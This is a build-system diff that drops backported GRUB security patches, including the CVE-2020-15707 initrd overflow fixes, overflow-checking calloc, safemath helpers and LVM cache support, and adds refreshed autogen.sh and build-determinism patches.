-Subject: [PATCH 9/9] linux: Fix integer overflows in initrd size handling
-
-These could be triggered by a crafted filesystem with very large files.
-
-Fixes: CVE-2020-15707
-
-Signed-off-by: Colin Watson <cjwatson@debian.org>
-Reviewed-by: Jan Setje-Eilers <jan.setjeeilers@oracle.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-
-Upstream-Status: Backport
-CVE: CVE-2020-15707
-
-Reference to upstream patch:
-https://git.savannah.gnu.org/cgit/grub.git/commit/?id=e7b8856f8be3292afdb38d2e8c70ad8d62a61e10
-
-Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
----
- grub-core/loader/linux.c | 74 +++++++++++++++++++++++++++++++++++-------------
- 1 file changed, 54 insertions(+), 20 deletions(-)
-
-diff --git a/grub-core/loader/linux.c b/grub-core/loader/linux.c
-index 471b214..8c8565a 100644
---- a/grub-core/loader/linux.c
-+++ b/grub-core/loader/linux.c
-@@ -4,6 +4,7 @@
- #include <grub/misc.h>
- #include <grub/file.h>
- #include <grub/mm.h>
-+#include <grub/safemath.h>
-
- struct newc_head
- {
-@@ -98,13 +99,13 @@ free_dir (struct dir *root)
- grub_free (root);
- }
-
--static grub_size_t
-+static grub_err_t
- insert_dir (const char *name, struct dir **root,
-- grub_uint8_t *ptr)
-+ grub_uint8_t *ptr, grub_size_t *size)
- {
- struct dir *cur, **head = root;
- const char *cb, *ce = name;
-- grub_size_t size = 0;
-+ *size = 0;
- while (1)
- {
- for (cb = ce; *cb == '/'; cb++);
-@@ -130,14 +131,22 @@ insert_dir (const char *name, struct dir **root,
- ptr = make_header (ptr, name, ce - name,
- 040777, 0);
- }
-- size += ALIGN_UP ((ce - (char *) name)
-- + sizeof (struct newc_head), 4);
-+ if (grub_add (*size,
-+ ALIGN_UP ((ce - (char *) name)
-+ + sizeof (struct newc_head), 4),
-+ size))
-+ {
-+ grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+ grub_free (n->name);
-+ grub_free (n);
-+ return grub_errno;
-+ }
- *head = n;
- cur = n;
- }
- root = &cur->next;
- }
-- return size;
-+ return GRUB_ERR_NONE;
- }
-
- grub_err_t
-@@ -173,26 +182,33 @@ grub_initrd_init (int argc, char *argv[],
- eptr = grub_strchr (ptr, ':');
- if (eptr)
- {
-+ grub_size_t dir_size, name_len;
-+
- initrd_ctx->components[i].newc_name = grub_strndup (ptr, eptr - ptr);
-- if (!initrd_ctx->components[i].newc_name)
-+ if (!initrd_ctx->components[i].newc_name ||
-+ insert_dir (initrd_ctx->components[i].newc_name, &root, 0,
-+ &dir_size))
- {
- grub_initrd_close (initrd_ctx);
- return grub_errno;
- }
-- initrd_ctx->size
-- += ALIGN_UP (sizeof (struct newc_head)
-- + grub_strlen (initrd_ctx->components[i].newc_name),
-- 4);
-- initrd_ctx->size += insert_dir (initrd_ctx->components[i].newc_name,
-- &root, 0);
-+ name_len = grub_strlen (initrd_ctx->components[i].newc_name);
-+ if (grub_add (initrd_ctx->size,
-+ ALIGN_UP (sizeof (struct newc_head) + name_len, 4),
-+ &initrd_ctx->size) ||
-+ grub_add (initrd_ctx->size, dir_size, &initrd_ctx->size))
-+ goto overflow;
- newc = 1;
- fname = eptr + 1;
- }
- }
- else if (newc)
- {
-- initrd_ctx->size += ALIGN_UP (sizeof (struct newc_head)
-- + sizeof ("TRAILER!!!") - 1, 4);
-+ if (grub_add (initrd_ctx->size,
-+ ALIGN_UP (sizeof (struct newc_head)
-+ + sizeof ("TRAILER!!!") - 1, 4),
-+ &initrd_ctx->size))
-+ goto overflow;
- free_dir (root);
- root = 0;
- newc = 0;
-@@ -208,19 +224,29 @@ grub_initrd_init (int argc, char *argv[],
- initrd_ctx->nfiles++;
- initrd_ctx->components[i].size
- = grub_file_size (initrd_ctx->components[i].file);
-- initrd_ctx->size += initrd_ctx->components[i].size;
-+ if (grub_add (initrd_ctx->size, initrd_ctx->components[i].size,
-+ &initrd_ctx->size))
-+ goto overflow;
- }
-
- if (newc)
- {
- initrd_ctx->size = ALIGN_UP (initrd_ctx->size, 4);
-- initrd_ctx->size += ALIGN_UP (sizeof (struct newc_head)
-- + sizeof ("TRAILER!!!") - 1, 4);
-+ if (grub_add (initrd_ctx->size,
-+ ALIGN_UP (sizeof (struct newc_head)
-+ + sizeof ("TRAILER!!!") - 1, 4),
-+ &initrd_ctx->size))
-+ goto overflow;
- free_dir (root);
- root = 0;
- }
-
- return GRUB_ERR_NONE;
-+
-+ overflow:
-+ free_dir (root);
-+ grub_initrd_close (initrd_ctx);
-+ return grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
- }
-
- grub_size_t
-@@ -261,8 +287,16 @@ grub_initrd_load (struct grub_linux_initrd_context *initrd_ctx,
-
- if (initrd_ctx->components[i].newc_name)
- {
-- ptr += insert_dir (initrd_ctx->components[i].newc_name,
-- &root, ptr);
-+ grub_size_t dir_size;
-+
-+ if (insert_dir (initrd_ctx->components[i].newc_name, &root, ptr,
-+ &dir_size))
-+ {
-+ free_dir (root);
-+ grub_initrd_close (initrd_ctx);
-+ return grub_errno;
-+ }
-+ ptr += dir_size;
- ptr = make_header (ptr, initrd_ctx->components[i].newc_name,
- grub_strlen (initrd_ctx->components[i].newc_name),
- 0100777,
---
-2.14.4
-
diff --git a/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch b/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
index faa7fde232..1323a54a59 100644
--- a/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
+++ b/meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch
@@ -1,6 +1,6 @@
-From 72c30928d3d461e0e2d20c5ff33bd96b6991d585 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Sat, 25 Jan 2014 23:49:44 -0500
+From 8790aa8bea736f52341a0430ff3e317d3be0f99b Mon Sep 17 00:00:00 2001
+From: Naveen Saini <naveen.kumar.saini@intel.com>
+Date: Mon, 15 Mar 2021 14:44:15 +0800
Subject: [PATCH] autogen.sh: exclude .pc from po/POTFILES.in
Exclude the .pc from po/POTFILES.in since quilt uses "patch --backup",
@@ -13,23 +13,24 @@ Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+Signed-off-by: Naveen Saini <naveen.kumar.saini@intel.com>
---
autogen.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/autogen.sh b/autogen.sh
-index ef43270..a7067a7 100755
+index 31b0ced7e..c63ae766c 100755
--- a/autogen.sh
+++ b/autogen.sh
@@ -13,7 +13,7 @@ fi
export LC_COLLATE=C
unset LC_ALL
--find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -iname './grub-core/lib/gnulib/*' |sort > po/POTFILES.in
-+find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -iname './grub-core/lib/gnulib/*' ! -path './.pc/*' |sort > po/POTFILES.in
+-find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -ipath './grub-core/lib/gnulib/*' |sort > po/POTFILES.in
++find . -iname '*.[ch]' ! -ipath './grub-core/lib/libgcrypt-grub/*' ! -ipath './build-aux/*' ! -ipath './grub-core/lib/libgcrypt/src/misc.c' ! -ipath './grub-core/lib/libgcrypt/src/global.c' ! -ipath './grub-core/lib/libgcrypt/src/secmem.c' ! -ipath './util/grub-gen-widthspec.c' ! -ipath './util/grub-gen-asciih.c' ! -ipath './gnulib/*' ! -ipath './grub-core/lib/gnulib/*' ! -path './.pc/*' |sort > po/POTFILES.in
find util -iname '*.in' ! -name Makefile.in |sort > po/POTFILES-shell.in
echo "Importing unicode..."
--
-2.7.4
+2.17.1
diff --git a/meta/recipes-bsp/grub/files/calloc-Make-sure-we-always-have-an-overflow-checking.patch b/meta/recipes-bsp/grub/files/calloc-Make-sure-we-always-have-an-overflow-checking.patch
deleted file mode 100644
index c9536e68ef..0000000000
--- a/meta/recipes-bsp/grub/files/calloc-Make-sure-we-always-have-an-overflow-checking.patch
+++ /dev/null
@@ -1,246 +0,0 @@
-From c005f62f5c4b26a77b916c8f76a852324439ecb3 Mon Sep 17 00:00:00 2001
-From: Peter Jones <pjones@redhat.com>
-Date: Mon, 15 Jun 2020 12:15:29 -0400
-Subject: [PATCH 2/9] calloc: Make sure we always have an overflow-checking
- calloc() available
-
-This tries to make sure that everywhere in this source tree, we always have
-an appropriate version of calloc() (i.e. grub_calloc(), xcalloc(), etc.)
-available, and that they all safely check for overflow and return NULL when
-it would occur.
-
-Upstream-Status: Backport [commit 64e26162ebfe68317c143ca5ec996c892019f8f8
-from https://git.savannah.gnu.org/git/grub.git]
-
-Signed-off-by: Peter Jones <pjones@redhat.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
----
- grub-core/kern/emu/misc.c | 12 ++++++++++++
- grub-core/kern/emu/mm.c | 10 ++++++++++
- grub-core/kern/mm.c | 40 ++++++++++++++++++++++++++++++++++++++
- grub-core/lib/libgcrypt_wrap/mem.c | 11 +++++++++--
- grub-core/lib/posix_wrap/stdlib.h | 8 +++++++-
- include/grub/emu/misc.h | 1 +
- include/grub/mm.h | 6 ++++++
- 7 files changed, 85 insertions(+), 3 deletions(-)
-
-diff --git a/grub-core/kern/emu/misc.c b/grub-core/kern/emu/misc.c
-index 65db79b..dfd8a8e 100644
---- a/grub-core/kern/emu/misc.c
-+++ b/grub-core/kern/emu/misc.c
-@@ -85,6 +85,18 @@ grub_util_error (const char *fmt, ...)
- exit (1);
- }
-
-+void *
-+xcalloc (grub_size_t nmemb, grub_size_t size)
-+{
-+ void *p;
-+
-+ p = calloc (nmemb, size);
-+ if (!p)
-+ grub_util_error ("%s", _("out of memory"));
-+
-+ return p;
-+}
-+
- void *
- xmalloc (grub_size_t size)
- {
-diff --git a/grub-core/kern/emu/mm.c b/grub-core/kern/emu/mm.c
-index f262e95..145b01d 100644
---- a/grub-core/kern/emu/mm.c
-+++ b/grub-core/kern/emu/mm.c
-@@ -25,6 +25,16 @@
- #include <string.h>
- #include <grub/i18n.h>
-
-+void *
-+grub_calloc (grub_size_t nmemb, grub_size_t size)
-+{
-+ void *ret;
-+ ret = calloc (nmemb, size);
-+ if (!ret)
-+ grub_error (GRUB_ERR_OUT_OF_MEMORY, N_("out of memory"));
-+ return ret;
-+}
-+
- void *
- grub_malloc (grub_size_t size)
- {
-diff --git a/grub-core/kern/mm.c b/grub-core/kern/mm.c
-index ee88ff6..f2822a8 100644
---- a/grub-core/kern/mm.c
-+++ b/grub-core/kern/mm.c
-@@ -67,8 +67,10 @@
- #include <grub/dl.h>
- #include <grub/i18n.h>
- #include <grub/mm_private.h>
-+#include <grub/safemath.h>
-
- #ifdef MM_DEBUG
-+# undef grub_calloc
- # undef grub_malloc
- # undef grub_zalloc
- # undef grub_realloc
-@@ -375,6 +377,30 @@ grub_memalign (grub_size_t align, grub_size_t size)
- return 0;
- }
-
-+/*
-+ * Allocate NMEMB instances of SIZE bytes and return the pointer, or error on
-+ * integer overflow.
-+ */
-+void *
-+grub_calloc (grub_size_t nmemb, grub_size_t size)
-+{
-+ void *ret;
-+ grub_size_t sz = 0;
-+
-+ if (grub_mul (nmemb, size, &sz))
-+ {
-+ grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+ return NULL;
-+ }
-+
-+ ret = grub_memalign (0, sz);
-+ if (!ret)
-+ return NULL;
-+
-+ grub_memset (ret, 0, sz);
-+ return ret;
-+}
-+
- /* Allocate SIZE bytes and return the pointer. */
- void *
- grub_malloc (grub_size_t size)
-@@ -561,6 +587,20 @@ grub_mm_dump (unsigned lineno)
- grub_printf ("\n");
- }
-
-+void *
-+grub_debug_calloc (const char *file, int line, grub_size_t nmemb, grub_size_t size)
-+{
-+ void *ptr;
-+
-+ if (grub_mm_debug)
-+ grub_printf ("%s:%d: calloc (0x%" PRIxGRUB_SIZE ", 0x%" PRIxGRUB_SIZE ") = ",
-+ file, line, size);
-+ ptr = grub_calloc (nmemb, size);
-+ if (grub_mm_debug)
-+ grub_printf ("%p\n", ptr);
-+ return ptr;
-+}
-+
- void *
- grub_debug_malloc (const char *file, int line, grub_size_t size)
- {
-diff --git a/grub-core/lib/libgcrypt_wrap/mem.c b/grub-core/lib/libgcrypt_wrap/mem.c
-index beeb661..74c6eaf 100644
---- a/grub-core/lib/libgcrypt_wrap/mem.c
-+++ b/grub-core/lib/libgcrypt_wrap/mem.c
-@@ -4,6 +4,7 @@
- #include <grub/crypto.h>
- #include <grub/dl.h>
- #include <grub/env.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -36,7 +37,10 @@ void *
- gcry_xcalloc (size_t n, size_t m)
- {
- void *ret;
-- ret = grub_zalloc (n * m);
-+ size_t sz;
-+ if (grub_mul (n, m, &sz))
-+ grub_fatal ("gcry_xcalloc would overflow");
-+ ret = grub_zalloc (sz);
- if (!ret)
- grub_fatal ("gcry_xcalloc failed");
- return ret;
-@@ -56,7 +60,10 @@ void *
- gcry_xcalloc_secure (size_t n, size_t m)
- {
- void *ret;
-- ret = grub_zalloc (n * m);
-+ size_t sz;
-+ if (grub_mul (n, m, &sz))
-+ grub_fatal ("gcry_xcalloc would overflow");
-+ ret = grub_zalloc (sz);
- if (!ret)
- grub_fatal ("gcry_xcalloc failed");
- return ret;
-diff --git a/grub-core/lib/posix_wrap/stdlib.h b/grub-core/lib/posix_wrap/stdlib.h
-index 3b46f47..7a8d385 100644
---- a/grub-core/lib/posix_wrap/stdlib.h
-+++ b/grub-core/lib/posix_wrap/stdlib.h
-@@ -21,6 +21,7 @@
-
- #include <grub/mm.h>
- #include <grub/misc.h>
-+#include <grub/safemath.h>
-
- static inline void
- free (void *ptr)
-@@ -37,7 +38,12 @@ malloc (grub_size_t size)
- static inline void *
- calloc (grub_size_t size, grub_size_t nelem)
- {
-- return grub_zalloc (size * nelem);
-+ grub_size_t sz;
-+
-+ if (grub_mul (size, nelem, &sz))
-+ return NULL;
-+
-+ return grub_zalloc (sz);
- }
-
- static inline void *
-diff --git a/include/grub/emu/misc.h b/include/grub/emu/misc.h
-index ce464cf..ff9c48a 100644
---- a/include/grub/emu/misc.h
-+++ b/include/grub/emu/misc.h
-@@ -47,6 +47,7 @@ grub_util_device_is_mapped (const char *dev);
- #define GRUB_HOST_PRIuLONG_LONG "llu"
- #define GRUB_HOST_PRIxLONG_LONG "llx"
-
-+void * EXPORT_FUNC(xcalloc) (grub_size_t nmemb, grub_size_t size) WARN_UNUSED_RESULT;
- void * EXPORT_FUNC(xmalloc) (grub_size_t size) WARN_UNUSED_RESULT;
- void * EXPORT_FUNC(xrealloc) (void *ptr, grub_size_t size) WARN_UNUSED_RESULT;
- char * EXPORT_FUNC(xstrdup) (const char *str) WARN_UNUSED_RESULT;
-diff --git a/include/grub/mm.h b/include/grub/mm.h
-index 28e2e53..9c38dd3 100644
---- a/include/grub/mm.h
-+++ b/include/grub/mm.h
-@@ -29,6 +29,7 @@
- #endif
-
- void grub_mm_init_region (void *addr, grub_size_t size);
-+void *EXPORT_FUNC(grub_calloc) (grub_size_t nmemb, grub_size_t size);
- void *EXPORT_FUNC(grub_malloc) (grub_size_t size);
- void *EXPORT_FUNC(grub_zalloc) (grub_size_t size);
- void EXPORT_FUNC(grub_free) (void *ptr);
-@@ -48,6 +49,9 @@ extern int EXPORT_VAR(grub_mm_debug);
- void grub_mm_dump_free (void);
- void grub_mm_dump (unsigned lineno);
-
-+#define grub_calloc(nmemb, size) \
-+ grub_debug_calloc (GRUB_FILE, __LINE__, nmemb, size)
-+
- #define grub_malloc(size) \
- grub_debug_malloc (GRUB_FILE, __LINE__, size)
-
-@@ -63,6 +67,8 @@ void grub_mm_dump (unsigned lineno);
- #define grub_free(ptr) \
- grub_debug_free (GRUB_FILE, __LINE__, ptr)
-
-+void *EXPORT_FUNC(grub_debug_calloc) (const char *file, int line,
-+ grub_size_t nmemb, grub_size_t size);
- void *EXPORT_FUNC(grub_debug_malloc) (const char *file, int line,
- grub_size_t size);
- void *EXPORT_FUNC(grub_debug_zalloc) (const char *file, int line,
---
-2.14.4
-
diff --git a/meta/recipes-bsp/grub/files/determinism.patch b/meta/recipes-bsp/grub/files/determinism.patch
new file mode 100644
index 0000000000..2828e80975
--- /dev/null
+++ b/meta/recipes-bsp/grub/files/determinism.patch
@@ -0,0 +1,68 @@
+From b6f9b3f6fa782807c4a7ec16ee8ef868cdfbf468 Mon Sep 17 00:00:00 2001
+From: Naveen Saini <naveen.kumar.saini@intel.com>
+Date: Mon, 15 Mar 2021 14:56:18 +0800
+Subject: [PATCH] The output in moddep.lst generated from syminfo.lst using
+ genmoddep.awk is not deterministic since the order of the dependencies on
+ each line can vary depending on how awk sorts the values in the array.
+
+Be deterministic in the output by sorting the dependencies on each line.
+
+Also, the output of the SOURCES lines in grub-core/Makefile.core.am, generated
+from grub-core/Makefile.core.def with gentpl.py is not deterministic due to
+missing sorting of the list used to generate it. Add such a sort.
+
+Also ensure the generated unidata.c file is deterministic by sorting the
+keys of the dict.
+
+Upstream-Status: Pending
+Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Naveen Saini <naveen.kumar.saini@intel.com>
+---
+ gentpl.py | 1 +
+ grub-core/genmoddep.awk | 4 +++-
+ util/import_unicode.py | 2 +-
+ 3 files changed, 5 insertions(+), 2 deletions(-)
+
+diff --git a/gentpl.py b/gentpl.py
+index c86550d4f..589285192 100644
+--- a/gentpl.py
++++ b/gentpl.py
+@@ -568,6 +568,7 @@ def foreach_platform_value(defn, platform, suffix, closure):
+ for group in RMAP[platform]:
+ for value in defn.find_all(group + suffix):
+ r.append(closure(value))
++ r.sort()
+ return ''.join(r)
+
+ def platform_conditional(platform, closure):
+diff --git a/grub-core/genmoddep.awk b/grub-core/genmoddep.awk
+index 04c2863e5..247436392 100644
+--- a/grub-core/genmoddep.awk
++++ b/grub-core/genmoddep.awk
+@@ -59,7 +59,9 @@ END {
+ }
+ modlist = ""
+ depcount[mod] = 0
+- for (depmod in uniqmods) {
++ n = asorti(uniqmods, w)
++ for (i = 1; i <= n; i++) {
++ depmod = w[i]
+ modlist = modlist " " depmod;
+ inverse_dependencies[depmod] = inverse_dependencies[depmod] " " mod
+ depcount[mod]++
+diff --git a/util/import_unicode.py b/util/import_unicode.py
+index 08f80591e..1f434a069 100644
+--- a/util/import_unicode.py
++++ b/util/import_unicode.py
+@@ -174,7 +174,7 @@ infile.close ()
+
+ outfile.write ("struct grub_unicode_arabic_shape grub_unicode_arabic_shapes[] = {\n ")
+
+-for x in arabicsubst:
++for x in sorted(arabicsubst):
+ try:
+ if arabicsubst[x]['join'] == "DUAL":
+ outfile.write ("{0x%x, 0x%x, 0x%x, 0x%x, 0x%x},\n " % (arabicsubst[x][0], arabicsubst[x][1], arabicsubst[x][2], arabicsubst[x][3], arabicsubst[x][4]))
+--
+2.17.1
+
diff --git a/meta/recipes-bsp/grub/files/lvm-Add-LVM-cache-logical-volume-handling.patch b/meta/recipes-bsp/grub/files/lvm-Add-LVM-cache-logical-volume-handling.patch
deleted file mode 100644
index 2b8157f592..0000000000
--- a/meta/recipes-bsp/grub/files/lvm-Add-LVM-cache-logical-volume-handling.patch
+++ /dev/null
@@ -1,287 +0,0 @@
-From 8eb02bcb5897b238b29ff762402bb0c3028f0eab Mon Sep 17 00:00:00 2001
-From: Michael Chang <mchang@suse.com>
-Date: Thu, 19 Mar 2020 13:56:13 +0800
-Subject: [PATCH 3/9] lvm: Add LVM cache logical volume handling
-
-The LVM cache logical volume is the logical volume consisting of the original
-and the cache pool logical volume. The original is usually on a larger and
-slower storage device while the cache pool is on a smaller and faster one. The
-performance of the original volume can be improved by storing the frequently
-used data on the cache pool to utilize the greater performance of faster
-device.
-
-The default cache mode "writethrough" ensures that any data written will be
-stored both in the cache and on the origin LV, therefore grub can be straight
-to read the original lv as no data loss is guarenteed.
-
-The second cache mode is "writeback", which delays writing from the cache pool
-back to the origin LV to have increased performance. The drawback is potential
-data loss if losing the associated cache device.
-
-During the boot time grub reads the LVM offline i.e. LVM volumes are not
-activated and mounted, hence it should be fine to read directly from original
-lv since all cached data should have been flushed back in the process of taking
-it offline.
-
-It is also not much helpful to the situation by adding fsync calls to the
-install code. The fsync did not force to write back dirty cache to the original
-device and rather it would update associated cache metadata to complete the
-write transaction with the cache device. IOW the writes to cached blocks still
-go only to the cache device.
-
-To write back dirty cache, as LVM cache did not support dirty cache flush per
-block range, there'no way to do it for file. On the other hand the "cleaner"
-policy is implemented and can be used to write back "all" dirty blocks in a
-cache, which effectively drain all dirty cache gradually to attain and last in
-the "clean" state, which can be useful for shrinking or decommissioning a
-cache. The result and effect is not what we are looking for here.
-
-In conclusion, as it seems no way to enforce file writes to the original
-device, grub may suffer from power failure as it cannot assemble the cache
-device and read the dirty data from it. However since the case is only
-applicable to writeback mode which is sensitive to data lost in nature, I'd
-still like to propose my (relatively simple) patch and treat reading dirty
-cache as improvement.
-
-Upstream-Status: Backport [commit 0454b0445393aafc5600e92ef0c39494e333b135
-from https://git.savannah.gnu.org/git/grub.git]
-
-Signed-off-by: Michael Chang <mchang@suse.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
----
- grub-core/disk/lvm.c | 190 +++++++++++++++++++++++++++++++++++++++++++++++++++
- 1 file changed, 190 insertions(+)
-
-diff --git a/grub-core/disk/lvm.c b/grub-core/disk/lvm.c
-index 7b265c7..dc6b83b 100644
---- a/grub-core/disk/lvm.c
-+++ b/grub-core/disk/lvm.c
-@@ -33,6 +33,14 @@
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-+struct cache_lv
-+{
-+ struct grub_diskfilter_lv *lv;
-+ char *cache_pool;
-+ char *origin;
-+ struct cache_lv *next;
-+};
-+
-
- /* Go the string STR and return the number after STR. *P will point
- at the number. In case STR is not found, *P will be NULL and the
-@@ -95,6 +103,34 @@ grub_lvm_check_flag (char *p, const char *str, const char *flag)
- }
- }
-
-+static void
-+grub_lvm_free_cache_lvs (struct cache_lv *cache_lvs)
-+{
-+ struct cache_lv *cache;
-+
-+ while ((cache = cache_lvs))
-+ {
-+ cache_lvs = cache_lvs->next;
-+
-+ if (cache->lv)
-+ {
-+ unsigned int i;
-+
-+ for (i = 0; i < cache->lv->segment_count; ++i)
-+ if (cache->lv->segments)
-+ grub_free (cache->lv->segments[i].nodes);
-+ grub_free (cache->lv->segments);
-+ grub_free (cache->lv->fullname);
-+ grub_free (cache->lv->idname);
-+ grub_free (cache->lv->name);
-+ }
-+ grub_free (cache->lv);
-+ grub_free (cache->origin);
-+ grub_free (cache->cache_pool);
-+ grub_free (cache);
-+ }
-+}
-+
- static struct grub_diskfilter_vg *
- grub_lvm_detect (grub_disk_t disk,
- struct grub_diskfilter_pv_id *id,
-@@ -242,6 +278,8 @@ grub_lvm_detect (grub_disk_t disk,
-
- if (! vg)
- {
-+ struct cache_lv *cache_lvs = NULL;
-+
- /* First time we see this volume group. We've to create the
- whole volume group structure. */
- vg = grub_malloc (sizeof (*vg));
-@@ -671,6 +709,106 @@ grub_lvm_detect (grub_disk_t disk,
- seg->nodes[seg->node_count - 1].name = tmp;
- }
- }
-+ else if (grub_memcmp (p, "cache\"",
-+ sizeof ("cache\"") - 1) == 0)
-+ {
-+ struct cache_lv *cache = NULL;
-+
-+ char *p2, *p3;
-+ grub_size_t sz;
-+
-+ cache = grub_zalloc (sizeof (*cache));
-+ if (!cache)
-+ goto cache_lv_fail;
-+ cache->lv = grub_zalloc (sizeof (*cache->lv));
-+ if (!cache->lv)
-+ goto cache_lv_fail;
-+ grub_memcpy (cache->lv, lv, sizeof (*cache->lv));
-+
-+ if (lv->fullname)
-+ {
-+ cache->lv->fullname = grub_strdup (lv->fullname);
-+ if (!cache->lv->fullname)
-+ goto cache_lv_fail;
-+ }
-+ if (lv->idname)
-+ {
-+ cache->lv->idname = grub_strdup (lv->idname);
-+ if (!cache->lv->idname)
-+ goto cache_lv_fail;
-+ }
-+ if (lv->name)
-+ {
-+ cache->lv->name = grub_strdup (lv->name);
-+ if (!cache->lv->name)
-+ goto cache_lv_fail;
-+ }
-+
-+ skip_lv = 1;
-+
-+ p2 = grub_strstr (p, "cache_pool = \"");
-+ if (!p2)
-+ goto cache_lv_fail;
-+
-+ p2 = grub_strchr (p2, '"');
-+ if (!p2)
-+ goto cache_lv_fail;
-+
-+ p3 = ++p2;
-+ p3 = grub_strchr (p3, '"');
-+ if (!p3)
-+ goto cache_lv_fail;
-+
-+ sz = p3 - p2;
-+
-+ cache->cache_pool = grub_malloc (sz + 1);
-+ if (!cache->cache_pool)
-+ goto cache_lv_fail;
-+ grub_memcpy (cache->cache_pool, p2, sz);
-+ cache->cache_pool[sz] = '\0';
-+
-+ p2 = grub_strstr (p, "origin = \"");
-+ if (!p2)
-+ goto cache_lv_fail;
-+
-+ p2 = grub_strchr (p2, '"');
-+ if (!p2)
-+ goto cache_lv_fail;
-+
-+ p3 = ++p2;
-+ p3 = grub_strchr (p3, '"');
-+ if (!p3)
-+ goto cache_lv_fail;
-+
-+ sz = p3 - p2;
-+
-+ cache->origin = grub_malloc (sz + 1);
-+ if (!cache->origin)
-+ goto cache_lv_fail;
-+ grub_memcpy (cache->origin, p2, sz);
-+ cache->origin[sz] = '\0';
-+
-+ cache->next = cache_lvs;
-+ cache_lvs = cache;
-+ break;
-+
-+ cache_lv_fail:
-+ if (cache)
-+ {
-+ grub_free (cache->origin);
-+ grub_free (cache->cache_pool);
-+ if (cache->lv)
-+ {
-+ grub_free (cache->lv->fullname);
-+ grub_free (cache->lv->idname);
-+ grub_free (cache->lv->name);
-+ }
-+ grub_free (cache->lv);
-+ grub_free (cache);
-+ }
-+ grub_lvm_free_cache_lvs (cache_lvs);
-+ goto fail4;
-+ }
- else
- {
- #ifdef GRUB_UTIL
-@@ -747,6 +885,58 @@ grub_lvm_detect (grub_disk_t disk,
- }
-
- }
-+
-+ {
-+ struct cache_lv *cache;
-+
-+ for (cache = cache_lvs; cache; cache = cache->next)
-+ {
-+ struct grub_diskfilter_lv *lv;
-+
-+ for (lv = vg->lvs; lv; lv = lv->next)
-+ if (grub_strcmp (lv->name, cache->origin) == 0)
-+ break;
-+ if (lv)
-+ {
-+ cache->lv->segments = grub_malloc (lv->segment_count * sizeof (*lv->segments));
-+ if (!cache->lv->segments)
-+ {
-+ grub_lvm_free_cache_lvs (cache_lvs);
-+ goto fail4;
-+ }
-+ grub_memcpy (cache->lv->segments, lv->segments, lv->segment_count * sizeof (*lv->segments));
-+
-+ for (i = 0; i < lv->segment_count; ++i)
-+ {
-+ struct grub_diskfilter_node *nodes = lv->segments[i].nodes;
-+ grub_size_t node_count = lv->segments[i].node_count;
-+
-+ cache->lv->segments[i].nodes = grub_malloc (node_count * sizeof (*nodes));
-+ if (!cache->lv->segments[i].nodes)
-+ {
-+ for (j = 0; j < i; ++j)
-+ grub_free (cache->lv->segments[j].nodes);
-+ grub_free (cache->lv->segments);
-+ cache->lv->segments = NULL;
-+ grub_lvm_free_cache_lvs (cache_lvs);
-+ goto fail4;
-+ }
-+ grub_memcpy (cache->lv->segments[i].nodes, nodes, node_count * sizeof (*nodes));
-+ }
-+
-+ if (cache->lv->segments)
-+ {
-+ cache->lv->segment_count = lv->segment_count;
-+ cache->lv->vg = vg;
-+ cache->lv->next = vg->lvs;
-+ vg->lvs = cache->lv;
-+ cache->lv = NULL;
-+ }
-+ }
-+ }
-+ }
-+
-+ grub_lvm_free_cache_lvs (cache_lvs);
- if (grub_diskfilter_vg_register (vg))
- goto fail4;
- }
---
-2.14.4
-
diff --git a/meta/recipes-bsp/grub/files/safemath-Add-some-arithmetic-primitives-that-check-f.patch b/meta/recipes-bsp/grub/files/safemath-Add-some-arithmetic-primitives-that-check-f.patch
deleted file mode 100644
index 29021e8d8f..0000000000
--- a/meta/recipes-bsp/grub/files/safemath-Add-some-arithmetic-primitives-that-check-f.patch
+++ /dev/null
@@ -1,94 +0,0 @@
-From 06c361a71c4998635493610e5d76d0d223925251 Mon Sep 17 00:00:00 2001
-From: Peter Jones <pjones@redhat.com>
-Date: Mon, 15 Jun 2020 10:58:42 -0400
-Subject: [PATCH 5/9] safemath: Add some arithmetic primitives that check for
- overflow
-
-This adds a new header, include/grub/safemath.h, that includes easy to
-use wrappers for __builtin_{add,sub,mul}_overflow() declared like:
-
- bool OP(a, b, res)
-
